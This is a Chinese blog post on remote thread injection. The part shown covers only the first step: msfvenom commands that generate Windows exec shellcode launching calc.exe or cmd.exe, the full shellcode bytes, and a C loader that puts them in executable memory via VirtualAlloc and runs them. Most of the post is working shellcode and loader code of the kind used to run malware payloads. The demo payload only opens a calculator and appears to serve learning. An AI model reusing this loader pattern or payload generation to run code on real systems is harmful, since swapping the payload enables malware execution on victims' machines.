首页 > 其他分享 >注入——远程线程注入

注入——远程线程注入

时间:2022-12-31 21:23:06浏览次数:38  
标签:0x8B 0x00 0x01 0x24 线程 0xFF 0x31 远程 注入

生成一段Shellcode,用于弹出计算器,若注入成功,则弹出成功。

MSF命令如下:

弹出计算器CALC

msfvenom -p windows/exec cmd=calc.exe -f raw -o shellcode.bin

弹出CMD

msfvenom -p windows/exec cmd="cmd.exe" -f raw -o shellcode.bin

Shellcode测试一下,发现可以顺利弹起calc

#include "stdio.h"
#include "Windows.h"

int main()
{
	//弹出CALC
	unsigned char shellcode[] = {
		0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
		0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
		0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
		0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
		0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
		0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
		0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
		0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
		0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
		0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
		0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
		0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
		0x00
	};

	//弹出CMD
	//unsigned char shellcode[] = {
	//	0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
	//	0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
	//	0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
	//	0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
	//	0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
	//	0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
	//	0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
	//	0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
	//	0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
	//	0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
	//	0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
	//	0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00
	//};

	void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcode, sizeof shellcode);
	((void(*)())exec)();

	system("pause");

	return 0;
}

 

标签:0x8B,0x00,0x01,0x24,线程,0xFF,0x31,远程,注入
From: https://www.cnblogs.com/wuruixin/p/17017287.html

相关文章

  • 线程资源监视,需menuconfig->FreeRTOS->开启trace
    #include<stdio.h>#include"freertos/FreeRTOS.h"#include"freertos/task.h"#include"driver/ledc.h"#include"esp_err.h"#include"string.h"#defineLEDC_TI......
  • win10 远程桌面和向日葵远控哪个好用
    win10远程桌面和向日葵远控哪个好用如今,远程办公已经成为许多在家工作,电子通勤的必备工作模式,这种工作方式的诞生,也让我们自由安排工作时间,少了很多上班通勤的时间,在家里......
  • 报错注入语句
    常用的三个报错注入语句:floor报错and(select1from(selectcount(*),concat(user(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)--+unionse......
  • 简单sql注入思路
    1.判断注入点猜解列名数量....?id=1orderbyx (x为数字)2.报错猜解...?id=-1selecet1,2,..,x3.信息收集数据库版本:version()数据库名字:database()数据库用户:user()......
  • Electerm 远程连接工具安装测试
     001、选件下载:     下载地址 002、下载windows安装包  003、下载后双击打开  004、点击安装  005、点击完成  006、双击打开桌面......
  • win32线程安全原子锁
    1//微软官方例程稍微修改了下测试刚刚好23#defineTHREAD_COUNT204staticvolatileUINTvol=0;5voidSimpleThreadA(void*id){6UINT&max......
  • 一次多线程并发查询导致结果混乱的问题的排查和记录·JAVA·2022
    业务背景该业务是报表查询类业务:要求从销售出库数据(存储于ElasticSearch索引中)中,按照管理者分组聚合查询各个管理者一定时间段内的动销汇总数据,如出库金额、毛利率等。但......
  • RayLink测评 | 完全免费,功能超越同类付费远程控制软件!!
    *本文转载自自媒体【下1个好软件】,作者:锋哥。远程控制软件目前的需求非常大,因为某些原因,你可能得居家办公远程控制公司的电脑,又或者出差不再需要带笨重的笔记本办公,一台平......
  • 配置远程仓库,VScode克隆远程仓库
    本机安装Git在本机下载git:https://git-scm.com/downloads配置远程仓库首先,在远程Linux上安装gitsudoyuminstallgitsudoapt-getinstallgit配置ssh免密登录创......
  • pycharm 远程连接Linux,进行python开发
    目前,pycharm是非常受欢迎的编写、调试python的IDE,那么为了方便我们在本地调试远程服务器中的代码,我们可以在pycharm中进行SSH与SFTP的连接,来进行远程服务器的文件添加、修......